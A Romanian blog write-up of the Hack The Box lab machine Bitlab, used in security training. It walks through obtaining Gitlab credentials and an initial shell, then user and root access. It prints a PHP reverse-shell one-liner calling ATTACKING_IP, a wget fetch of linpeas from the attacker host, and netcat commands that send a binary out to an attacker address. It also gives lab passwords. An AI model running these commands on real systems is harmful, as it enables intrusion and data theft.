Hack The Box – Bitlab
- 2 minute de citit
- 7 exemple de cod în Shell
- 1 imagine
Disponibil și în English
Pe această pagină
Salut,
Iată cum am rezolvat mașina Bitlab de pe Hack The Box.
Acces la Gitlab
Ca de obicei, începem cu o scanare nmap:
root@kali:~# nmap -p- -sV 10.10.10.114Nmap scan report for 10.10.10.114Host is up (0.044s latency).Not shown: 65533 filtered portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open http nginxService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 221.44 secondsScanarea arată un server web nginx și ssh. Dacă accesăm serverul web, găsim o instanță Gitlab. Gitlab este folosit de dezvoltatori pentru a-și găzdui codul sursă. Am încercat să caut exploit-uri, dar nu am găsit nimic.
Căutând prin pagina Gitlab, dacă navigăm la Help, găsim un bookmark care conține cod javascript obfuscat. Putem copia codul, ne întoarcem la pagina de autentificare Gitlab și lipim JS-ul în consola de dezvoltator. JS-ul completează automat datele de autentificare și obținem acces la Gitlab ca Developer.
javascript:(function(){ var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()Credențiale: clave:11des0081x
Shell inițial
Ca developer, găsim două repository-uri de cod, Profile și Deploy. Ne interesează doar cel de Profile; orice modificare făcută în repository se reflectă pe pagina http://10.10.10.114/profile, deoarece auto deploy-ul Gitlab este configurat în acest fel.
Apoi, putem încărca un php-reverse shell și obținem un shell TCP prin netcat:
Pe mașina mea de atac rulez nc -nvlp 8080, iar în php reverse shell rulăm:
php -r '$sock=fsockopen("ATTACKING_IP", 8080);exec("/bin/sh -i <&3 >&3 2>&3");'După ce obțin shell-ul prin netcat, îl transform într-un shell pty cu următoarea comandă:
python -c 'import pty; pty.spawn("/bin/sh")'Am reușit să transfer Linpeas rulând python -m SimpleHTTPServer 8080 pe mașina mea de atac, în directorul linpeas, și wget MY_IP/linpeas.sh pe mașina victimei.

Shell de utilizator
Linpeas a afișat câteva rezultate interesante, dar nimic practic nu a ieșit din ele. Așa că m-am întors la Gitlab și am navigat în secțiunea snippets.
Există un script care divulgă parola, IP-ul și numele de utilizator ale bazei de date a profilurilor. Putem folosi acestea pentru a interoga singuri baza de date, rulând în terminal:
p0wny@shell:/tmp# php -r '$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");$result = pg_query($db_connection, "SELECT * FROM profiles");print_r(pg_fetch_all($result));'Array( [0] => Array ( [id] => 1 [username] => clave [password] => c3NoLXN0cjBuZy1wQHNz== ))Ne autentificăm prin ssh ca clave, cu parola: c3NoLXN0cjBuZy1wQHNz==.
În directorul home al lui Clave găsim un binar numit RemoteConnection.exe, pe care îl putem transfera pe mașina noastră de atac folosind următoarele comenzi:
# Pe mașina de atacroot@kali:~# nc -nvlp 8080 > file.exe# Pe victimăclave@bitlab:~$ nc -w 3 10.10.14.19 8080 < RemoteConnection.exe Shell de root
Shell-ul de root se obține prin reversarea binarului pe care l-am extras. Reversarea este cam mult, deoarece trebuie doar să parcurgem pas cu pas programul în debugger. Pentru debugging am folosit x64dbg.
Putem copia parola de root din debugger și voilà, suntem root.
EAX : 007FF8D0 &"-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""EBX : 00000000ECX : 99083A11EDX : 00F90000EBP : 007FF8FCESP : 007FF844ESI : 007FF860EDI : 007FF8D0 &"-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""EIP : 00FD15E3 bitlabreverseengineering.00FD15E3Concluzii
Bitlab a fost o mașină cam ușoară, dar cu niște decizii ciudate, de exemplu parola lui Clave era ascunsă ca JS în pagina Help a instanței Gitlab ???
Auto-deploy-ul PHP a fost plăcut, iar partea de reversing a fost cam inutilă; ar fi fost mult mai bine dacă reversing-ul ar fi fost mai degrabă static decât dinamic.
Mulțumesc că ai citit și o zi minunată! <3